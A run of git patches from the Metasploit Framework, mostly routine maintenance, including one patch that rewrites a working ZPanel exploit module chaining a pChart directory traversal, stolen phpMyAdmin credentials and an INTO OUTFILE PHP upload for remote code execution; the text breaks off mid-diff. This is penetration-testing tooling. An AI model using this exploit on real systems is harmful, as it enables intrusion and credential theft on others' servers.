modules/exploits/multi/http/manageengine_sd_uploader.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/manageengine_sd_uploader.rb b/modules/exploits/multi/http/manageengine_sd_uploader.rb index 178804a7ce..db8164c450 100644 --- a/modules/exploits/multi/http/manageengine_sd_uploader.rb +++ b/modules/exploits/multi/http/manageengine_sd_uploader.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'ZDI', '15-396 ' ], - [ 'URL', 'GITHUB_URL' ], - [ 'URL', 'FULLDISC_URL' ] + [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/6038' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, # Privileged on Windows but not on Linux targets From f0b6d3c68e6e8635a176b950a05b30a6f5ce6012 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 7 Oct 2015 15:23:29 -0500 Subject: [PATCH 0858/2172] Change error message to avoid an undef method bug --- modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb index 685b8ccff5..f3f7d1d534 100644 --- a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb +++ b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - File saved in: #{p}") end else - vprint_error("#{peer} - Server returned #{res.code.to_s}") + vprint_error("#{peer} - Connection timed out") end end end From 9d51abe4b5b1af78cf18a4b1450cd1a42eafd593 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 7 Oct 2015 16:48:29 -0500 Subject: [PATCH 0859/2172] fix msftidy link --- tools/dev/pre-commit-hook.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index 514cc75c26..61ea2bc2c8 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -59,9 +59,9 @@ end if files_to_check.empty? puts "--- No Metasploit modules to check ---" else - puts "--- Checking new and changed module syntax with tools/msftidy.rb ---" + puts "--- Checking new and changed module syntax with tools/modules/msftidy.rb ---" files_to_check.each do |fname| - cmd = "ruby ./tools/msftidy.rb #{fname}" + cmd = "ruby ./tools/modules/msftidy.rb #{fname}" msftidy_output= %x[ #{cmd} ] puts "#{fname} - msftidy check passed" if msftidy_output.empty? msftidy_output.each_line do |line| From 28454f3b2e3139eeb74c8a28b0d276f9b3963f3d Mon Sep 17 00:00:00 2001 From: brent morris Date: Thu, 8 Oct 2015 12:59:46 -0400 Subject: [PATCH 0860/2172] MSFTidyness --- .../http/zpanel_information_disclosure_rce.rb | 368 +++++++++--------- 1 file changed, 190 insertions(+), 178 deletions(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index cfdecfb7cf..90af76162d 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -1,6 +1,6 @@ require 'msf/core' require 'msf/core/exploit/php_exe' - + class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient @@ -20,246 +20,258 @@ class Metasploit3 < Msf::Exploit::Remote credentials the attackers can login to PHPMyAdmin and execute SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com + }, + 'Author' => [ + 'dawn isabel', + 'brad wolfe', + 'brent morris', + 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ], # pChart - [ 'OSVDB', '102595' ], # pChart + [ 'EDB', '31173' ],# pChart + [ 'OSVDB', '102595' ],# pChart [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] ], - 'Payload' => + 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', - 'Arch' => ARCH_PHP, + 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 30 2014')) - register_options( - [ + register_options( + [ OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end + ], self.class) + end - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method' => 'get', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get' => { - 'Action' => 'View', - 'Script' => '../../../../cnf/db.php' - }, - 'version' => "1.1", - }) + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method'=>'get', + 'uri'=> normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get'=> { + 'Action'=> 'View', + 'Script'=> '../../../../cnf/db.php' + }, + 'version'=>"1.1", + }) - uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - return uname, passwd, dbname - end + return uname, passwd, dbname + end - def grab_sess_and_token(uri) + def grab_sess_and_token(uri) + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}"), + 'version'=>'1.1' + }) - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}"), - 'version' => '1.1' - }) + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') + end + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' - sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" - sess_id = sess_id[2..-3] + if sid.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sid.split("=")[1]}") - if sess_id.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sess_id}") + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version'=>'1.1', + 'Cookie'=>"#{sid}" + }) - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version' => '1.1', - 'Cookie' => "PHPSESSID=#{sess_id}" + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') + end + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sid + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method'=>'POST', + 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie'=>cookies, + 'ctype'=>"application/x-www-form-urlencoded", + 'headers'=>{ + 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post'=>{ + 'pma_username'=>uname, + 'pma_password'=>passwd, + 'server'=>"1", + 'lang'=>"en", + 'collation_connection'=>"utf8_general_ci", + 'token'=>token + } }) - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies + cookies = "#{res.get_cookies}" - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sess_id - else - print_error("CSRF token could not be identified...") + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie'=>new_cookies, + 'vars_get'=>{ + 'token'=>token + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') end - else - print_error("PHPSESSID could not be identified...") - end - end - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie' => cookies, - 'ctype' => "application/x-www-form-urlencoded", - 'headers' => { - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post' => { - 'pma_username' => uname, - 'pma_password' => passwd, - 'server' => "1", - 'lang' => "en", - 'collation_connection' => "utf8_general_ci", - 'token' => token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "PHPSESSID=#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie' => new_cookies, - 'vars_get' => { - 'token' => token - } - }) - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ print_good("PHPMyAdmin login successful!") return new_cookies, token end + end - def do_sql(cookies, token, uri) + def do_sql(cookies, token, uri) - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version' => '1.1', - 'cookie' => cookies, - 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', - 'headers' => { - 'X-Requested-With' => "XMLHttpRequest", - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post' => { - 'is_js_confirmed' => "0", - 'token' => token, - 'pos' => "0", - 'goto' => "server_sql.php", - 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query' => "", - 'sql_query' => sql_stmt, - 'sql_delimiter' => ";", - 'show_query' => "1", - 'ajax_request' => "true", - '_nocache' => rand.to_s[2..19].to_i - }, - }) - - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") - - print_status("Executing '#{fname}' on the remote host") + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "#{fname}"), - 'version' => '1.1' + 'method'=>'POST', + 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version'=>'1.1', + 'cookie'=>cookies, + 'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8', + 'headers'=>{ + 'X-Requested-With'=>"XMLHttpRequest", + 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post'=>{ + 'is_js_confirmed'=>"0", + 'token'=>token, + 'pos'=>"0", + 'goto'=>"server_sql.php", + 'message_to_show'=>"Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query'=>"", + 'sql_query'=>sql_stmt, + 'sql_delimiter'=>";", + 'show_query'=>"1", + 'ajax_request'=>"true", + '_nocache'=>rand.to_s[2..19].to_i + }, }) - else - print_error("#{res.body.to_s}") + unless res + fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') + end + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}", "#{fname}"), + 'version'=>'1.1' + }) + + else + print_error("#{res.body.to_s}") + end end - end - def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - - # Checking pChart - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") - }) + def exploit + # Checking pChart + res = send_request_cgi({ + 'method'=> 'GET', + 'uri'=> normalize_uri("#{datastore['URI']}", "etc", "lib", "pChart2", "examples", "index.php") + }) # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash(uri) - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash("#{datastore['URI']}") + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] - if uname.length > 0 and passwd.length > 0 + if uname.length > 0 && passwd.length > 0 print_good("Directory traversal successful, Username/Password identified!") - print_good("Username: #{uname.to_s}") - print_good("Password: #{passwd.to_s}") - print_good("DB Name: #{db_name.to_s}") + print_good("Username: #{uname}") + print_good("Password: #{passwd}") + print_good("DB Name: #{db_name}") - cookies, token, sess_id = grab_sess_and_token(uri) + cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}") print_status("Logging into PHPMyAdmin now") - cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id) print_status("Uploading malicious payload now") - do_sql(cookies, token, uri) + do_sql(cookies, token, "#{datastore['URI']}") else print_error("It appears that the directory traversal was unsuccessful...") end - else - print_error("It appears that the version of pChart is not vulnerable...") + else + print_error("It appears that the version of pChart is not vulnerable...") end + end end From 2f50374bf9d0a83ca71b0f37e5c70febd0eb6556 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 8 Oct 2015 14:01:21 -0500 Subject: [PATCH 0861/2172] Add SRVHOST tab completion A trivial update to @jlee-r7's code. --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 7fe69004fa..9c96590f50 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2989,7 +2989,7 @@ class Core option_values_target_addrs().each do |addr| res << addr end - when 'LHOST' + when 'LHOST', 'SRVHOST' rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST'] if rh and not rh.empty? res << Rex::Socket.source_address(rh) From 326141ffa8e29c381e344d253e0fb1593e96e67e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Oct 2015 14:08:45 -0500 Subject: [PATCH 0862/2172] Initialize the DisableBanner option --- msfd | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/msfd b/msfd index ad79d59b01..10d79794d2 100755 --- a/msfd +++ b/msfd @@ -37,7 +37,10 @@ arguments = Rex::Parser::Arguments.new( "-q" => [ false, "Do not print the banner on startup" ], "-h" => [ false, "Help banner" ]) -opts = { 'RunInForeground' => true } +opts = { + 'RunInForeground' => true, + 'DisableBanner' => false +} foreground = false # Parse command line arguments. From 8aed503ad25ba8ab1c77a8250d887adb32a8ea5a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 8 Oct 2015 16:52:17 -0500 Subject: [PATCH 0863/2172] Change EXITFUNC acceptable options This gets rid of the nil option because this is the same as "". And then we change the empty value to ''. --- lib/msf/core/payload/windows.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index c0f764629c..160e6fbaec 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -76,9 +76,12 @@ module Msf::Payload::Windows # info['Alias'] = 'windows/' + info['Alias'] #end + + acceptable_exit_types = @@exit_types.keys.collect { |e| e.blank? ? "''" : e }.uniq + register_options( [ - Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', @@exit_types.keys]) + Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', acceptable_exit_types]) ], Msf::Payload::Windows ) ret end From 6549f48d4eccc268b6705b5196a5ce69b32d96b1 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Thu, 8 Oct 2015 17:11:31 -0500 Subject: [PATCH 0864/2172] Added new class MainframeShell for mainframe(z/os) This class is built upon and overrides certain methods in the generic CommandShell class. Primarily it is here to control when and if bytes sent to/from mainframe (z/os) targets get encoded/decoded from cp1047 (ebcdic<->ascii). This would be the default shell for upcoming mainframe based payloads. --- lib/msf/base/sessions/mainframe_shell.rb | 155 ++++++++++++++++++ .../msf/base/sessions/mainframe_shell_spec.rb | 44 +++++ 2 files changed, 199 insertions(+) create mode 100644 lib/msf/base/sessions/mainframe_shell.rb create mode 100644 spec/lib/msf/base/sessions/mainframe_shell_spec.rb diff --git a/lib/msf/base/sessions/mainframe_shell.rb b/lib/msf/base/sessions/mainframe_shell.rb new file mode 100644 index 0000000000..82e07c5e01 --- /dev/null +++ b/lib/msf/base/sessions/mainframe_shell.rb @@ -0,0 +1,155 @@ +# -*- coding: binary -*- +require 'msf/base/sessions/command_shell' + +module Msf +module Sessions + +### +# +# This class provides basic interaction with a Unix Systems Service +# command shell on a mainframe (IBM System Z) running Z/OS +# This session is initialized with a stream that will be used +# as the pipe for reading and writing the command shell. +# +# Date: Oct 8, 2015 +# Author: Bigendian Smalls +# +### +class Msf::Sessions::MainframeShell < Msf::Sessions::CommandShell + + # + # This interface supports basic interaction. + # + include Msf::Session::Basic + + # + # This interface supports interacting with a single command shell. + # + include Msf::Session::Provider::SingleCommandShell + + ## + # + # initialize as mf shell session + # + def initialize(*args) + self.platform = "mainframe" + self.arch = "zarch" + self.translate_1047 = true + super + end + + ## + # + # Returns the session description. + # + def desc + "Mainframe shell" + end + + ## + # + # override shell_read to include decode of cp1047 + # + def shell_read(length=-1, timeout=1) + #mfimpl + if self.respond_to?(:ring) + return Rex::Text.from_ibm1047(shell_read_ring(length,timeout)) + end + + begin + rv = Rex::Ttext.from_ibm1047(rstream.get_once(length, timeout)) + framework.events.on_session_output(self, rv) if rv + return rv + rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e + #print_error("Socket error: #{e.class}: #{e}") + shell_close + raise e + end + end + + ## + # + # override shell_write to include encode of cp1047 + # + def shell_write(buf) + #mfimpl + return if not buf + + begin + framework.events.on_session_command(self, buf.strip) + rstream.write(Rex::Text.to_ibm1047(buf)) + rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e + #print_error("Socket error: #{e.class}: #{e}") + shell_close + raise e + end + end + + # + def execute_file(full_path, args) + #mfimpl + raise NotImplementedError + end + + # + def process_autoruns(datastore) + # mf not implemented yet + end + + # + def desc + "Mainframe USS session" + end + attr_accessor :translate_1047 # tells the session whether or not to translate + # ebcdic (cp1047) <-> ASCII for certain mainframe payloads + # this will be used in post modules to be able to switch on/off the + # translation on file transfers, for instance + protected + + ## + # + # _interact_ring overridden to include decoding of cp1047 data + # + def _interact_ring + + begin + + rdr = framework.threads.spawn("RingMonitor", false) do + seq = nil + while self.interacting + + # Look for any pending data from the remote ring + nseq,data = ring.read_data(seq) + + # Update the sequence number if necessary + seq = nseq || seq + + # Write output to the local stream if successful + user_output.print(Rex::Text.from_ibm1047(data)) if data + + begin + # Wait for new data to arrive on this session + ring.wait(seq) + rescue EOFError => e + #print_error("EOFError: #{e.class}: #{e}") + break + end + end + end + + while self.interacting + # Look for any pending input or errors from the local stream + sd = Rex::ThreadSafe.select([ _local_fd ], nil, [_local_fd], 5.0) + + # Write input to the ring's input mechanism + shell_write(user_input.gets) if sd + end + + ensure + rdr.kill + end + end + +end +end +end diff --git a/spec/lib/msf/base/sessions/mainframe_shell_spec.rb b/spec/lib/msf/base/sessions/mainframe_shell_spec.rb new file mode 100644 index 0000000000..05702c3dd3 --- /dev/null +++ b/spec/lib/msf/base/sessions/mainframe_shell_spec.rb @@ -0,0 +1,44 @@ +# -*- coding:binary -*- +require 'spec_helper' +require 'msf/base/sessions/mainframe_shell' + +## +# +# A quick test that MainframeShell is operable +# Author: Bigendian Smalls +# +describe Msf::Sessions::MainframeShell do + it 'extends Msf::Sessions::CommandShell to include EBCDIC cp1047 codepage translation' do + args=[0, + {:datastore=> + {"VERBOSE"=>false, + "WfsDelay"=>0, + "EnableContextEncoding"=>false, + "DisablePayloadHandler"=>false, + "ConnectTimeout"=>10, + "TCP::max_send_size"=>0, + "TCP::send_delay"=>0, + "RPORT"=>4444, + "payload"=>"mainframe/shell_reverse_notranslate_tcp", + "LPORT"=>5555, + "LHOST"=>"127.0.0.1", + "RHOST"=>"127.0.0.2", + "CPORT"=>0, + "ReverseConnectRetries"=>5, + "ReverseAllowProxy"=>false, + "ReverseListenerThreaded"=>false, + "InitialAutoRunScript"=>"", + "AutoRunScript"=>"", + "ReverseListenerBindPort"=>0, + "TARGET"=>0}, + :expiration=>0, + :comm_timeout=>0, + :retry_total=>0, + :retry_wait=>0}] + expect(described_class.name).to eq('Msf::Sessions::MainframeShell') + mfshell = Msf::Sessions::MainframeShell.new(args) + expect(mfshell.platform).to eq('mainframe') + expect(mfshell.arch).to eq('zarch') + expect(mfshell.respond_to?(:translate_1047)) + end +end From bef75628231b1ffbdebe78a52c52c54e66d937b9 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Fri, 9 Oct 2015 06:39:02 -0500 Subject: [PATCH 0865/2172] Fixed Typo --- lib/msf/base/sessions/mainframe_shell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/sessions/mainframe_shell.rb b/lib/msf/base/sessions/mainframe_shell.rb index 82e07c5e01..ae28962198 100644 --- a/lib/msf/base/sessions/mainframe_shell.rb +++ b/lib/msf/base/sessions/mainframe_shell.rb @@ -57,7 +57,7 @@ class Msf::Sessions::MainframeShell < Msf::Sessions::CommandShell end begin - rv = Rex::Ttext.from_ibm1047(rstream.get_once(length, timeout)) + rv = Rex::Text.from_ibm1047(rstream.get_once(length, timeout)) framework.events.on_session_output(self, rv) if rv return rv rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e From 0132f9ce6704c075f3ebb437fde4cdc79683aff1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 9 Oct 2015 08:53:02 -0500 Subject: [PATCH 0866/2172] Extend accepted clients with Rex Socket stuff --- .../stdapi/net/socket_subsystem/tcp_server_channel.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb index 536a28d05e..c0f8cc289c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb @@ -15,6 +15,7 @@ module Net module SocketSubsystem class TcpServerChannel < Rex::Post::Meterpreter::Channel + include Rex::IO::StreamServer # # This is a class variable to store all pending client tcp connections which have not been passed @@ -157,7 +158,10 @@ protected next end result = accept_nonblock - break if result != nil + if result != nil + result.extend(Rex::Socket::Tcp) + break + end end return result end From b16c284395a4155067d6119346699d68689d2d58 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 9 Oct 2015 08:54:01 -0500 Subject: [PATCH 0867/2172] Determine comm from ReverseListenerComm in reverse_http Also some copypasta from reverse_tcp to display where we started the listener. --- lib/msf/core/handler/reverse_http.rb | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index ed22ef7a2a..7d32591f1c 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -20,6 +20,7 @@ module ReverseHttp include Msf::Handler include Rex::Payloads::Meterpreter::UriChecksum include Msf::Payload::Windows::VerifySsl + include Msf::Handler::Reverse::Comm # # Returns the string representation of the handler type @@ -129,16 +130,9 @@ module ReverseHttp # def setup_handler - comm = datastore['ReverseListenerComm'] - if (comm.to_s == 'local') - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - + comm = select_comm local_port = bind_port - # Start the HTTPS server service on this host/port self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, local_port, @@ -164,7 +158,16 @@ module ReverseHttp }, 'VirtualDirectory' => true) - print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started #{scheme.upcase} reverse handler on #{listener_uri} #{via}") lookup_proxy_settings if datastore['IgnoreUnknownPayloads'] From 5fab1cc71a8a26eef2392e74a2b1f80acd425670 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 11:05:05 -0500 Subject: [PATCH 0868/2172] Add loop timeout --- lib/msf/java/rmi/client.rb | 4 ++-- modules/auxiliary/scanner/misc/java_rmi_server.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 0d3b804492..e2760415c1 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -121,7 +121,7 @@ module Msf # # @param nsock [Rex::Socket::Tcp] # @return [String] - def safe_get_once(nsock = sock) + def safe_get_once(nsock = sock, read_loop_timeout = 1) data = '' begin res = nsock.get_once @@ -129,7 +129,7 @@ module Msf res = nil end - until res.nil? || res.length < 1448 + while res && nsock.has_read_data?(read_loop_timeout) data << res begin res = nsock.get_once diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 5cdf03a371..c5e8013907 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary if exception.class == Rex::Java::Serialization::Model::NewObject && exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& - exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + [Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) && !exception.class_data[1].contents.include?('RMI class loader disabled') return true end From 6d2a89e9a606fb678211a873ed029dd1e535099c Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 9 Oct 2015 11:05:17 -0500 Subject: [PATCH 0869/2172] Be more descriptive about EOFError There are other modules that could be updated, surely. --- modules/auxiliary/scanner/imap/imap_version.rb | 2 ++ modules/auxiliary/scanner/pop3/pop3_version.rb | 2 ++ 2 files changed, 4 insertions(+) diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb index 